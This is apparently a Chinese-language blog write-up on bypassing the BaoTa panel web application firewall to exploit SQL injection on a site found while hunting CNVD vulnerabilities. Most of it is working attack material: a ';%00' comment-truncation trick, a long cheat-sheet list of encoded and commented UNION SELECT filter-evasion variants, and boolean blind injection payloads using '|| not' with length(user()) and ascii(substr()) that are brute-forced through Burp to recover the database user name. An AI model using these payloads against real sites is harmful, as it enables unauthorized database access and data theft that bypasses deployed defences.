宝塔面板的sql注入绕过

宝塔防护

在一次挖cvnd漏洞的时候，遇到了宝塔面板的防护，此waf屏蔽了传统的注释符“–+”、"#"、 “/*” ， union select 做了防护而且似乎还做了过滤，废了半天劲绕过去发现联合查询不能被执行了，order by 虽然能用但是也没了卵用，搞了半天搞了个寂寞，正当我就要放弃的时候，我想起了使用布尔盲注，结果…玛德法克…

sql注入尝试

老生常谈了哈，日站第一步当然需要确定是不是真的存在sql注入

1. 输入单引号进行注入测试
   首先页面是这个样子的 ?id=11
   

2. 输入测试poyload单引号
   输入单引号内容不见 ?id=11'
   

3. 再输入一个单引号进行闭合
   闭合单引号后数据重新出现，说明此处可能是基于单引号的盲注类型
   ?id=11''
   

4. 注释符的尝试
   此防护为宝塔waf防护，输入"-- -" 、"#" 、 “/*” 常见的注释符发现会直接被拦截，并且井字符并没卵用
   

5. 注释符过滤不全
   此时我想起一个注释符 “;%00” 截断，发现，芜湖，直接起飞
   ?id=11' ;%00
   

联合查询的尝试

解决了注释符的问题，现在开始尝试联合查询，联合查询第一步当然是进行order by 操作

1. order by 猜测字段个数
   使用二分法即可快速的猜测字段个数，在前几篇文章有详细介绍，在这里不做赘述，这里没有屏蔽 order by
   ?id=11' order by 26 ;%00
   

2. 联合查询失败
   当我想使用联合查询的时候，发现Union select 进去就会被拦截，大小写什么的，修改请求方式，内联注释，垃圾数据填充，编码转换都失败了，最后空字节可以，但是并不能被执行，所以很有可能是联合查询被过滤掉了
   不举太多例子了，结果都一样，那就是被拦截

+#uNiOn+#sEleCt 没拦截，但是也没好使，淦
以下省略n多尝试，最后的结论就是联合查询不好使，绝望，附上联合查询的绕过方式

 /*!%55NiOn*/ /*!%53eLEct*/
 
 %55nion(%53elect 1,2,3)-- -
 
 +union+distinct+select+
 
 +union+distinctROW+select+
 
 /**//*!12345UNION SELECT*//**/
 
 /**//*!50000UNION SELECT*//**/
 
 /**/UNION/**//*!50000SELECT*//**/
 
 /*!50000UniON SeLeCt*/
 
 union /*!50000%53elect*/
 
 +#uNiOn+#sEleCt
 
 +#1q%0AuNiOn all#qa%0A#%0AsEleCt
 
 /*!%55NiOn*/ /*!%53eLEct*/
 
 /*!u%6eion*/ /*!se%6cect*/
 
 +un/**/ion+se/**/lect
 
 uni%0bon+se%0blect
 
 %2f**%2funion%2f**%2fselect
 
 union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
 
 REVERSE(noinu)+REVERSE(tceles)
 
 /*--*/union/*--*/select/*--*/
 
 union (/*!/**/ SeleCT */ 1,2,3)
 
 /*!union*/+/*!select*/
 
 union+/*!select*/
 
 /**/union/**/select/**/
 
 /**/uNIon/**/sEleCt/**/
 
 /**//*!union*//**//*!select*//**/
 
 /*!uNIOn*/ /*!SelECt*/
 
 +union+distinct+select+
 
 +union+distinctROW+select+
 
 +UnIOn%0d%0aSeleCt%0d%0a
 
 UNION/*&test=1*/SELECT/*&pwn=2*/
 
 un?+un/**/ion+se/**/lect+
 
 +UNunionION+SEselectLECT+
 
 +uni%0bon+se%0blect+
 
 %252f%252a*/union%252f%252a /select%252f%252a*/
 
 /%2A%2A/union/%2A%2A/select/%2A%2A/
 
 %2f**%2funion%2f**%2fselect%2f**%2f
 
 union%23foo*%2F*bar%0D%0Aselect%23foo%0D%0A
 
 /*!UnIoN*/SeLecT+
  %55nion(%53elect)
 
   union%20distinct%20select
 
   union%20%64istinctRO%57%20select
 
   union%2053elect
 
   %23?%0auion%20?%23?%0aselect
 
   %23?zen?%0Aunion all%23zen%0A%23Zen%0Aselect
 
   %55nion %53eLEct
 
   u%6eion se%6cect
 
   unio%6e %73elect
 
   unio%6e%20%64istinc%74%20%73elect
 
   uni%6fn distinct%52OW s%65lect
 

   %75%6e%6f%69%6e %61%6c%6c %73%65%6c%65%63%7

布尔盲注尝试

联合查询失败后，我想起我还会点布尔盲注，走一波

1. 真假盲注测试
   使用真假盲注 and 1=1 or 1=1 进行真假盲注测试
   ?id=11' and 1=1 ;%00
   额呵，被屏蔽了

2. 再次转换
   尝试了 and -1=-1 and true or -1=-1 or false 依然被屏蔽
   
   经过我的测试，此宝塔不会单独屏蔽 and 、 or 、= 但是当二者放在一块的时候就会被拦截，那么能不能绕过呢？

3. 转换等号失败
   我最先想到的是转换等于号，进行url转换
   
   很显然失败了，经过多轮转换都没行，我都要放弃了，这个时候我想起来逻辑运算符，等于不能转换，我可以转换and 和 or 啊！

4. 逻辑与转换失败
   逻辑与 and 等同于 &&
   

没好使
4. 逻辑或转换
逻辑或 or 等同于 ||
?id=11' || not true ;%00
芜湖，成功了，我真是个小机灵鬼

真假盲注运用

1. 用户长度的猜测
   ?id=11 || not length(user())=8 ;%00
   这条payload的作用就是结合逻辑与，当用户长度等于8的时候就位真，等同于 or not 8=8 也就会返回当前页面，利用这一点可以使用burpsuite进行暴力破解猜测用户名的长度，废话不多说，走你
   此时用户长度当然不是8所以是假的，所以页面发生了变化，上burp
   得到用户名长度为19
   
2. 用户名的猜测
   ?id=11 || not 1=(case when ascii(substr(user(),1,1))=127 then 2 else 1 end);%00
   这条payload的作用就是逐一爆破用户名，利用了ascii转换以及三元运算，substr()为字符串截取，和mid()有异曲同工之处；当第一位字符串为ascii对应的127时为真
   由于ascii中真正有用的其实就是32-127，所以payload中只用到用户的长度1-19 ，ascii 32-127
   
   将ascii按照顺序进行编码转换，得到用户名为
   wxxxxxxxx@localhost

举例到此结束